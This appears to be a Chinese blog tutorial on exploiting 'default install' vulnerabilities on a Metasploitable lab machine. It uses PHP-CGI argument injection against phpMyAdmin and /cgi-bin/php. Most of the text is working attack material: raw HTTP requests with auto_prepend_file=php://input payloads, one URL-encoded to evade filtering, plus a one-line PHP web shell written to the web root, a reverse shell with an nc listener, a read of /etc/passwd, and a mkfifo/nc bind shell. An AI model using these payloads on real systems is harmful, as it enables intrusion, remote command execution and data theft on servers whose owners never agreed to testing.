文章的格式也许不是很好看,也没有什么合理的顺序
完全是想到什么写一些什么,但各个方面都涵盖到了
能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道
默认安装漏洞:
早期Windows默认自动开启很多服务
很多的黑客就会利用这些漏洞轻易获取System权限
在Linux和Windows系统中都会有很多的默认安装漏洞
下面我就典型的案例来分析:
目标靶机Metasploitable的IP:192.168.163.129
Kali机器的IP:192.168.163.132
PHP部署的程序猿会知道:
phpMyAdmin专门用来管理MySQL数据库
如果粗心的程序猿就会忘记进行配置
于是我们可以访问到一些敏感的目录(早期版本):
例如phpMyAdmin/setup
如果程序猿不进行一些访问限制,那么很多的黑客就可以通过这种方式来进入,从而进行恶意的操作
只是说没有什么意思,下面我具体地来利用这个漏洞来测试:
我用Burp来重发请求,并且做一定的修改:
POST http://192.168.163.129/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.163.129 <?php passthru('id'); die(); ?>
通过上边的一系列代码使目标机器执行操作系统的id命令
利用Burp的Repeater做到了,获取了UID
那么其他命令呢?比如ls
但是,我们如果发送一些管理员权限才可以使用的命令:比如reboot
这时候就不可以做了,因为我们获取的只是普通权限
那么,我们是否可以写文件呢?是否可以获取shell呢(其实这已经获取了shell)?
第一种上传网页木马
echo "<?php $cmd = $_GET["cmd"];system($cmd);?>" >/var/www/2.php
服务器返回了OK
接下来我们访问:192.168.163.129/2.php?cmd=[命令],就得到shell了
然后就可以做提权了
第二种:使用Kali自带的一些脚本,直接获取shell:反连Shell
我把它复制出来,稍作修改就可以使用:
保存
然后把全篇内容作为Body用Repeater发送:
注意这里的HOST必须是Kali的IP
同时用nc监听:nc -vlp
发送后就获得了真正的Shell
注意:这里获取了shell,但是并没有在目标服务器上写入数据,只是反连接获取了一个shell
有一个小问题:获取了Shell,但是无法执行Ifconfig这个基本命令,需要怎么办?
whereis ifconfig搜索位置
进入目标目录,然后./ifconcig即可
Ubuntu/Debain默认安装PHP5-CGI漏洞
其针对Apache/PHP远程代码执行漏洞攻击
该漏洞存在于使用PHP的Apache服务器,在Debian和Ubuntu的服务器上默认安装php5-cgi模块的服务器都存在此漏洞。
程序员可以使用CGI模块在PHP代码中调用操作系统的命令
如果安装了PHP5-CGI,则会在/usr/lib/cgi-bin下面生成两个二进制文件:php和php5
下面我会利用这里的php远程执行代码
我们发送编码后的参数信息(编码是为了防止服务器过滤信息)去获取目标服务器的shell
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1 Host: 123 Content-Length: 45 <?php echo system('cat /etc/passwd'); ?>
不过,遗憾的是,这里我失败了
成功的话,理论上可以参照上边的方式继续进行渗透
甚至可以直接写入指令,让目标系统直接开启某个端口,我用NC连接即可:
<?php echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe'); ?>
这一篇稍简短一些,后边我们继续